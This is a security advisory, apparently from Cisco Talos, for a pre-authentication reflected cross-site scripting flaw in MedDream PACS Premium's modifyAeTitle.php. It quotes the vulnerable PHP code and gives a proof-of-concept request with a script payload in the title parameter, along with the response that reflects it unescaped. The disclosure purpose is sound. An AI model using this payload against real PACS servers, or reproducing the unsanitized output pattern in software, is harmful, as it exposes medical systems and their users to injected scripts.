CVE-2025-54852
A reflected cross-site scripting (xss) vulnerability exists in the modifyAeTitle functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
MedDream PACS Premium 7.3.6.870
MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/
6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.
A pre-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/modifyAeTitle.php script.
The value of the title parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:
if (isset($_GET['title'])) {
modifyEntryForm($_GET['title']); ///[1]
}
function modifyEntryForm($title)
{
(...)
2143
else {
print "<h3><font color=red>";
printf(pacsone_gettext("<u>%s</u> not found in database!"), $title); ///[2]
print "</font></h3>\n";
}
The $title variable is set by the attacker and is fully controllable [1]. If specified title does not exist in the database, error message is presented containing specified by an attacker $title value.[2]
Example of a malicious request and response containing injected HTML/JavaScript code:
GET /Pacs/modifyAeTitle.php?title=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
RESP
HTTP/1.1 200 OK
Date: Tue, 19 Aug 2025 17:32:00 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Set-Cookie: PHPSESSID=ad96907666649ecfd4bd177d423db2d9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 5210
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<body><div class="contentBody"><h3><font color=red><u><script>alert(1)</script></u> not found in database!</font></h3>
</div>
</div>
2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.